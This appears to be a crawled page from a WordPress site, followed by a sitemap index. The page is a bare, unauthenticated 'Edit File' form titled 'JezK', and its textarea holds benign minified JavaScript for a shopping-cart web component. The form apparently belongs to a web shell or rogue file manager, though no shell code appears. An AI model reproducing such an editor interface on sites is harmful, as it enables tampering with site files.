
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: sc-line-items-provider2.js</h2><form method="post"><textarea name="file_content" rows="10" cols="50">import{proxyCustomElement,HTMLElement,createEvent,h}from&quot;@stencil/core/internal/client&quot;;import{c as convertLineItemsToLineItemData}from&quot;./index6.js&quot;;const ScLineItemsProvider=proxyCustomElement(class extends HTMLElement{constructor(){super(),this.__registerHost(),this.__attachShadow(),this.scUpdateLineItems=createEvent(this,&quot;scUpdateLineItems&quot;,7),this.order=void 0,this.syncItems=[]}handleLineItemToggle(e){const t=e.detail;this.addSyncItem(&quot;toggle&quot;,t)}handleLineItemRemove(e){const t=e.detail;this.addSyncItem(&quot;remove&quot;,t)}handleLineItemAdd(e){const t=e.detail;this.addSyncItem(&quot;add&quot;,t)}handleLineItemUpdate(e){const t=e.detail;this.addSyncItem(&quot;update&quot;,t)}async syncItemsHandler(e){(null==e?void 0:e.length)&amp;&amp;setTimeout((()=&gt;{var e;if(!(null===(e=this.syncItems)||void 0===e?void 0:e.length))return;const t=this.processSyncItems();this.scUpdateLineItems.emit(t),this.syncItems=[]}),100)}addSyncItem(e,t){this.syncItems=[...this.syncItems,{type:e,payload:t}]}processSyncItems(){var e;let t=convertLineItemsToLineItemData((null===(e=null==this?void 0:this.order)||void 0===e?void 0:e.line_items)||[]);const n={toggle:this.toggleItem,add:this.addItem,remove:this.removeItem,update:this.updateItem};return(this.syncItems||[]).forEach((e=&gt;{t=n[e.type](e.payload,t)})),t}addItem(e,t){return[...t,e]}toggleItem(e,t){var n;const s=null===(n=t.find((t=&gt;t.price_id===e.price_id)))||void 0===n?void 0:n.price_id;return s?t.filter((e=&gt;s!==e.price_id)):[...t,e]}removeItem(e,t){return e.price_id?t.filter((t=&gt;t.price_id!==e.price_id)):t}updateItem(e,t){const n=t.findIndex((t=&gt;t.price_id===e.price_id));return-1===n?[...t,e]:(t[n]=e,t)}render(){return h(&quot;slot&quot;,{key:&quot;57e02156dc368698b190d48ecbc0c4b4c930f9a7&quot;})}static get watchers(){return{syncItems:[&quot;syncItemsHandler&quot;]}}},[1,&quot;sc-line-items-provider&quot;,{order:[16],syncItems:[32]},[[0,&quot;scToggleLineItem&quot;,&quot;handleLineItemToggle&quot;],[0,&quot;scRemoveLineItem&quot;,&quot;handleLineItemRemove&quot;],[0,&quot;scAddLineItem&quot;,&quot;handleLineItemAdd&quot;],[0,&quot;scUpdateLineItem&quot;,&quot;handleLineItemUpdate&quot;]],{syncItems:[&quot;syncItemsHandler&quot;]}]);function defineCustomElement(){&quot;undefined&quot;!=typeof customElements&amp;&amp;[&quot;sc-line-items-provider&quot;].forEach((e=&gt;{&quot;sc-line-items-provider&quot;===e&amp;&amp;(customElements.get(e)||customElements.define(e,ScLineItemsProvider))}))}export{ScLineItemsProvider as S,defineCustomElement as d};</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
